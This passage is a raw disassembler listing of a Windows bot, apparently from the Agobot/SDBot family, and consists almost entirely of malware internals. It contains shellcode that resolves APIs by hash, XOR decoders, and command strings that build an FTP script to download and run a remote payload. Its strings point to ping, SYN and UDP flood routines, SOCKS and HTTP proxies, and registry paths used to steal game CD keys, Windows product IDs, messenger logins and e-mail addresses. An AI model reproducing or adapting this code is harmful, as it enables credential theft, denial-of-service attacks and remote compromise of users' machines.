--------------------------------------------------------------------------- loc_444A6A: ; CODE XREF: sub_444A1A:loc_444A30j ; sub_444A1A:loc_444A6Aj jmp short loc_444A6A sub_444A1A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_444A70 proc near ; DATA XREF: sub_425020+1Eo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_444AC2 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_444A8D: ; CODE XREF: sub_444A70+38j jecxz short loc_444ABD dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_444A98: ; CODE XREF: sub_444A70+32j lodsb test al, al jz short loc_444AA4 ror edx, 0Dh add edx, eax jmp short loc_444A98 ; --------------------------------------------------------------------------- loc_444AA4: ; CODE XREF: sub_444A70+2Bj cmp edx, [esp+arg_0] jnz short loc_444A8D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_444ABD: ; CODE XREF: sub_444A70:loc_444A8Dj mov [esp+arg_0], ebx retn sub_444A70 endp ; =============== S U B R O U T I N E ======================================= sub_444AC2 proc near ; CODE XREF: sub_444A70+7p ; FUNCTION CHUNK AT 00444AFA SIZE 00000005 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_444ADB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_444AE6 ; --------------------------------------------------------------------------- loc_444ADB: ; CODE XREF: sub_444AC2+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_444AE6: ; CODE XREF: sub_444AC2+14j pop edi xor esi, esi pusha push esi jmp short loc_444AFA sub_444AC2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_444AED proc near ; CODE XREF: sub_444AC2:loc_444AFAp push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_444AED endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444AC2 loc_444AFA: ; CODE XREF: sub_444AC2+29j call sub_444AED ; END OF FUNCTION CHUNK FOR sub_444AC2 ; --------------------------------------------------------------------------- db 0 dd 25h dup(0) dword_444B94 dd 23h dword_444B98 dd 60h dword_444B9C dd 62B0606h, 2050501h, 0A0hdword_444BA8 dd 0A1h dword_444BAC dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424840+16Do align 4 loc_444BB8: ; DATA XREF: sub_424840+100o jmp short near ptr dword_444BC0 ; --------------------------------------------------------------------------- align 10h dword_444BC0 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: sub_425020+60o db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 4 dd 7 dup(0) ; --------------------------------------------------------------------------- loc_444C68: ; DATA XREF: sub_4254E0+CCo jmp short loc_444C6C ; --------------------------------------------------------------------------- loc_444C6A: ; CODE XREF: ___:loc_444C6Cp jmp short loc_444C71 ; --------------------------------------------------------------------------- loc_444C6C: ; CODE XREF: ___:loc_444C68j call loc_444C6A loc_444C71: ; CODE XREF: ___:loc_444C6Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_444C76 dw 0FFFFh ; DATA XREF: sub_4254E0+D3w db 80h, 73h, 0Eh byte_444C7B db 0FFh ; DATA XREF: sub_4254E0+DAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_444C80: ; DATA XREF: sub_4254E0+A7o jmp short loc_444C84 ; --------------------------------------------------------------------------- loc_444C82: ; CODE XREF: ___:loc_444C84p jmp short loc_444C89 ; --------------------------------------------------------------------------- loc_444C84: ; CODE XREF: ___:loc_444C80j call loc_444C82 loc_444C89: ; CODE XREF: ___:loc_444C82j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_444C8D db 0FFh ; DATA XREF: sub_4254E0+AEw dw 7380h db 0Ch byte_444C91 db 0FFh ; DATA XREF: sub_4254E0+B4w dw 0E243h dd 0F9h dword_444C98 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_425270+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_444CFC dd 12h dd 70746674h, 6578652Eh, 20692D20h dword_444D0C dd 74656720h byte_444D10 db 20h ; DATA XREF: sub_425270+A2r dword_444D11 dd 0E8006A00h dword_444D15 dd 17h ; sub_425270+D2r dword_444D19 dd 0E8C30175h dword_444D1D dd 1 ; sub_425270+E7r byte_444D21 db 0, 6Ah, 0 ; DATA XREF: sub_425270+110o dd 7E8h db 0, 0Fh, 84h dword_444D2B dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; free add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 0Ch dup(0) aPing db 'ping',0 ; DATA XREF: sub_426450+22o align 4 aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_4266A0+D0o align 10h dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o align 4 dd 2 dup(0) aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o align 8 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_426820+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_426820+2Bo dd 0 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_426820+23o align 10h aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_426820+Co align 4 aForsyn db 'forsyn',0 ; DATA XREF: sub_4269A0+22o align 4 aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o align 10h aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o align 10h aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o align 4 dd 0 aSyn db 'syn',0 ; DATA XREF: sub_426EB0+22o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o align 4 dd 0 aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o align 8 aUdp db 'udp',0 ; DATA XREF: sub_427590+22o aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_427650+C0o align 10h aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o align 10h off_444F30 dd offset byte_455247 ; DATA XREF: sub_427DC0+22o aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_428040+AAo dd 3 dup(0) aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_428040+33o align 4 dd 3 dup(0) aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Connection to %s:%d has failed',0Ah,0 align 10h dd 7 dup(0) aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Error Resolving %s',0Ah,0 align 4 dd 6 dup(0) aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: sub_4282C0+D12o db 0Dh,0Ah,0 dd 2 dup(0) aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o ; sub_4282C0+B97o dd 0 aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o ; sub_4282C0+B79o align 4 dd 0 aConnection db 'Connection:',0 ; DATA XREF: sub_4282C0+9A4o dd 0 aChunked db 'chunked',0 ; DATA XREF: sub_4282C0+961o align 8 aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o align 10h aContentLength db 'Content-Length:',0 ; DATA XREF: sub_4282C0+87Do dd 0 aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6DEo db 'Connection: close',0Dh,0Ah db '%s',0 dd 2 dup(0) aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: sub_4282C0+6A9o db 'Connection: Keep-Alive',0Dh,0Ah db '%s',0 align 8 aKeepAlive db 'Keep-Alive',0 ; DATA XREF: sub_4282C0:loc_42886Bo ; sub_4282C0+9F0o align 8 aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o align 10h asc_445220 db 0Dh,0Ah,0 ; DATA XREF: sub_4282C0+46Co ; sub_4282C0+52Co ... align 4 aHttprox db 'HTTPROX',0 ; DATA XREF: sub_4282C0+437o align 10h aConnect db 'connect',0 ; DATA XREF: sub_4282C0+202o dd 0 aConnect_0 db 'CONNECT',0 ; DATA XREF: sub_4282C0+1CDo align 8 off_445248 dd offset byte_544547 ; DATA XREF: sub_4282C0+108o aHttp_0 db 'HTTP',0 ; DATA XREF: sub_4299C0+22o align 4 aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o dd 2 dup(0) aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo dd 2 dup(0) aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o align 10h aSocks4 db 'Socks4',0 ; DATA XREF: sub_429D00+22o ; sub_42A090+22o align 4 aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o align 8 aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co align 10h dd 2 dup(0) dword_445328 dd 1000005h, 0 dword_445330 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0 ; DATA XREF: sub_42B880+20Fo align 4 dd 3 dup(0) aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0 ; DATA XREF: sub_42B880+3Fo align 4 dd 2 dup(0) aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0 ; DATA XREF: ___:0042C435o align 10h aRoot db 'root',0 ; DATA XREF: ___:0042C3C1o align 4 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: ___:004453F8o align 4 aNetworkFailedT db 'Network failed to start: %d',0Ah,0 align 8 aCalloc db 'calloc',0 align 10h aSetsockopt db 'setsockopt',0 align 10h aSocket db 'socket',0 align 4 aGethostbyname db 'gethostbyname',0 align 4 aGetservbyname db 'getservbyname',0 align 4 aTcp db 'tcp',0 ; DATA XREF: sub_42C810+49o ; sub_42C810:loc_42C8CDo aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o align 4 dd 0 aRead db 'read',0 ; DATA XREF: sub_42CC50:loc_42CDECo align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_42D0D0+72o align 10h aUserS db 'USER %s',0 ; DATA XREF: sub_42D0D0+3Do dd 0 aWrite db 'write',0 align 4 aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42D1A0+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o align 10h dd 0 dword_4454D4 dd 524F5453h byte_4454D8 db 0 ; DATA XREF: sub_42D2C0+EDr align 4 dword_4454DC dd 52544552h byte_4454E0 db 0 ; DATA XREF: sub_42D2C0+D3r align 4 dword_4454E4 dd 5453494Ch byte_4454E8 db 0 ; DATA XREF: sub_42D2C0+B8r align 4 dword_4454EC dd 54534C4Eh byte_4454F0 db 0 ; DATA XREF: sub_42D2C0+9Er align 4 dword_4454F4 dd 45505954h, 632520h, 0 ; ___:0042E6CAo aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_42D2C0+2Do align 4 dd 2 dup(0) aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 align 10h aListen db 'listen',0 align 4 aBind db 'bind',0 align 10h aGetsockname db 'getsockname',0 align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo align 8 aPasv db 'PASV',0 ; DATA XREF: sub_42D580+B4o align 10h aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o align 4 aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o align 10h aTimedOutWaitin db 'timed out waiting for connection',0 align 8 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 align 10h dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo align 10h dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo align 10h dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042E0DEo dd 0 aSyst db 'SYST',0 ; DATA XREF: ___:0042E13Do align 4 aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042E1CEo align 4 aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042E24Eo align 4 aCdup db 'CDUP',0 ; DATA XREF: ___:0042E2A7o align 4 aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042E2FEo align 4 off_4456AC dd offset aInterlockedcom+10h ; DATA XREF: ___:0042E35Do aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42E400:loc_42E581o dd 0 aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o align 4 dd 0 word_4456EC dw 77h ; DATA XREF: sub_42E400+1Fr align 10h dword_4456F0 dd 25206425h, 64hdword_4456F8 dd 455A4953h, 732520h, 0dword_445704 dd 4D54444Dh, 732520h, 0dword_445710 dd 4F544E52h, 732520h, 0dword_44571C dd 52464E52h, 732520h, 0dword_445728 dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42EA40+10o align 4 dword_44573C dd 1 ; sub_430460+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o align 10h aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_431280+6o align 10h aA_0: ; DATA XREF: sub_433A20+36o unicode 0, <€>,0 dd 13h dup(0) dd offset aBattlefield194 ; "[Battlefield 1942: " dd 80000002h, 446894h, 446F60h, 446860h, 80000002h, 446800h dd 446F60h, 4467D0h, 80000002h, 446778h, 446F60h, 446754h dd 80000002h, 44670Ch, 446F60h, 4466F4h, 80000002h, 4466B0h dd 446F60h, 446688h, 80000002h, 44664Ch, 446F60h, 446618h dd 80000002h, 4465B8h, 446F60h, 44658Ch, 80000002h, 446568h dd 446560h, 446534h, 80000002h, 44650Ch, 446560h, 4464F4h dd 80000001h, 4464C4h, 4464C0h, 4464B0h, 80000002h, 446474h dd 446F60h, 446464h, 80000002h, 446428h, 446F60h, 446414h dd 80000002h, 4463CCh, 446F60h, 4463B0h, 80000002h, 44636Ch dd 446F60h, 446350h, 80000001h, 446328h, 4464C0h, 446318h dd 80000001h, 4462F0h, 4464C0h, 4462D0h, 80000002h, 446294h dd 446290h, 446274h, 80000002h, 446250h, 446248h, 446230h dd 80000001h, 446204h, 4461FCh, 4461D8h, 80000002h, 44618Ch dd 446F60h, 446164h, 80000002h, 446110h, 446F60h, 4460D8h dd 80000002h, 446074h, 446F60h, 446040h, 80000002h, 445FE0h dd 446F60h, 445FC4h, 80000002h, 445F7Ch, 446F60h, 445F60h dd 80000002h, 445F18h, 446F60h, 445F08h, 80000002h, 445ECCh dd 446F60h, 445EBCh, 80000002h, 445E80h, 446F60h, 445E58h dd 80000002h, 445E04h, 446F60h, 445DDCh, 80000002h, 445D8Ch dd 446F60h, 445D70h, 80000002h, 445D48h, 4464C0h, 445D34h dd 80000002h, 445CFCh, 446F60h, 445CCCh, 80000002h, 445C74h dd 446F60h, 445C58h, 80000001h, 445C08h, 445C00h, 445BE4h dd 80000002h, 445BA0h, 445B94h, 445B7Ch, 80000001h, 445B4Ch dd 445B40h, 445B20h, 80000002h, 445AE4h, 445C00h, 445AC4h dd 80000002h, 445A88h, 445C00h, 1Eh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0 align 4 dd 2 dup(0) aUnrealTourname db '[Unreal Tournament 2004: ',0 align 10h dd 0 aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0 align 10h aUnrealTourna_0 db '[Unreal Tournament 2003: ',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 dd 2 dup(0) aTheGladiators db '[The Gladiators: ',0 align 10h dd 0 aSof2key db 'sof2key',0 align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 dd 2 dup(0) aSoldierOfFortu db '[Soldier Of Fortune 2: ',0 align 10h aCdkey db 'CDKey',0 align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 dd 3 dup(0) aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0 align 10h dd 0 aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 10h dd 3 dup(0) aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0 align 4 dd 2 dup(0) aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0 align 4 dd 2 dup(0) dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aNeverwinterNig db '[Neverwinter Nights: ',0 align 4 dd 0 aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 10h dd 3 dup(0) aNeedForSpeedUn db '[Need For Speed: Underground: ',0 align 4 dd 2 dup(0) aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er' db 'gc',0 dd 4 dup(0) aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0 align 10h aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A33h, 0 aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A32h, 0 aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing20 db '[Nascar Racing 2003: ',0 align 4 dd 0 aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 dd 3 dup(0) aNascarRacing_0 db '[Nascar Racing 2002: ',0 align 10h aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 10h dd 4 dup(0) aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0 dd 2 dup(0) aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 dd 4 dup(0) aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0 align 10h aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 4 dd 3 dup(0) aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0 align 4 dd 0 aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 dd 3 dup(0) aJamesBond007Ni db '[James Bond 007: Nightfire: ',0 align 4 dd 0 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aIndustryGiant2 db '[Industry Giant 2: ',0 align 8 aCdkey_0 db 'CDkey',0 align 10h aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0 dd 2 dup(0) aIgi2CovertStri db '[IGI2: Covert Strike: ',0 align 10h aKey db 'key',0 aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aHiddenAndDange db '[Hidden and Dangerous 2: ',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 8 aHalfLife db '[Half-Life: ',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aGunmanChronicl db '[Gunman Chronicles: ',0 align 4 dd 0 aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aGlobalOperatio db '[Global Operations: ',0 align 4 dd 0 aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0 dd 3 dup(0) aFreedomForce db '[Freedom Force: ',0 align 4 aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3330h, 0 aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aFifa2002 db '[FIFA 2002: ',0 align 10h aKey_0 db 'Key',0 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 align 4 dd 2 dup(0) aCounterStrike db '[Counter-Strike: ',0 align 4 dd 0 aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0 align 4 dd 2 dup(0) aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0 align 10h aSerial db 'Serial',0 align 4 aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0 align 4 dd 0 aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0 align 10h dd 2 dup(0) aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 4 dd 4 dup(0) aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0 dd 2 dup(0) aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0 dd 3 dup(0) aCommandAndCo_2 db '[Command and Conquer: Generals: ',0 align 10h aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 dd 3 dup(0) aBlackAndWhite db '[Black and White: ',0 align 4 dd 0 aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 dd 3 dup(0) aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0 dd 2 dup(0) aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 10h aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0 align 10h aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 10h dd 4 dup(0) aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0 dd 2 dup(0) db 53h aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 dd 3 dup(0) aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:004457C0o align 10h aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:00434FBAo align 4 aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00434F7Eo align 10h aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434F40o align 4 dd 0 dword_44692C dd 3A6D6961h, 732520h, 0dword_446938 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion' ; DATA XREF: ___:00434E82o db '\Login',0 dd 4 dup(0) aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 align 4 dd 0 aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 align 8 aSMainS db '%s\main\%s',0 align 8 aCodkey db 'codkey',0 align 10h aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 align 8 aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 align 10h dd 0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 dd 0 dd 625C7325h, 5C657361h, 255C706Dh, 73h aInstallpath db 'InstallPath',0 dd 0 dword_446A6C dd 3A6E736Dh, 732520h, 0dword_446A78 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: ___:00435447o db 'ice',0 align 4 dd 3 dup(0) aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004353ECo align 10h aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004352BEo align 4 dd 2 dup(0) aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4356F0+546o align 4 dd 2 dup(0) aProductid db 'ProductId',0 ; DATA XREF: sub_4356F0+52Bo align 4 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4356F0+4FEo align 4 dd 2 dup(0) aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4356F0+4A4o align 8 aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4356F0+3BBo align 4 loc_446BA4: ; DATA XREF: sub_4356F0+2D3o dec eax dec ebx inc ebx inc ebx cmp ah, [eax] and eax, 73h loc_446BAF: ; DATA XREF: sub_4356F0+1EBo add [eax+4Bh], cl dec esp dec ebp cmp ah, [eax] and eax, 73h loc_446BBB: ; DATA XREF: sub_4356F0+103o add [eax+4Bh], cl inc ebx push ebp cmp ah, [eax] and eax, 73h loc_446BC7: ; DATA XREF: ___:00435EB6o ; ___:00436110o ... add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cx, 0FFFFh loc_446BD8: ; CODE XREF: ___:00446BDDj xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_446BD8 ; --------------------------------------------------------------------------- db 0 dd 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: ___:0043633Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Ch dup(0) off_446CD0 dd offset off_43E1D4 ; DATA XREF: ___:off_43E318o ; ___:0043E354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 9Bh dup(0) byte_446F60 db 0 ; DATA XREF: sub_4034E0+95o ; sub_404640+200o ... align 4 dword_446F64 dd 0 ; sub_4245F0+11o ... dword_446F68 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D3DFr ... align 10h dword_446F70 dd 0 ; ___:0040D345w ... dd 8 dup(0) dword_446F94 dd 41h dup(0) ; ___:0040D380o ... dword_447098 dd 0 ; ___:loc_40D3D4r ... dword_44709C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D34Fr ... dword_4470A0 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D580+CAw dword_4470A4 dd 0 ; sub_40D580+E3r dd 11h dup(0) dword_4470EC dd 0 ; sub_40FF60+47Dr dword_4470F0 dd 0 ; sub_40FF60+515r ... dword_4470F4 dd 0 ; sub_40FF60+655r ... dword_4470F8 dd 0 ; sub_40FF60+B79r ... dword_4470FC dd 0 ; sub_40FF60+74Br dword_447100 dd 0 ; sub_40FF60+828r dword_447104 dd 0 ; sub_40FF60+77Cr dword_447108 dd 0 ; sub_40FF60+4DDr ... dword_44710C dd 0 ; sub_40FF60+311r dword_447110 dd 0 ; sub_40FF60+34Dr ... dword_447114 dd 0 ; sub_40FF60+33Dr dword_447118 dd 0 ; sub_40FF60+3D2r dword_44711C dd 0 ; sub_40FF60+E93r dword_447120 dd 0 ; sub_40FF60+1220r ... dword_447124 dd 0 ; sub_411FE0+4DAr dword_447128 dd 0 ; sub_40FF60+683r dword_44712C dd 0 ; sub_40FF60+6B5r dword_447130 dd 0 ; sub_40FF60+1252r dd 5 dup(0) dword_447148 dd 10h dup(0) ; ___:0040405Fo ... db 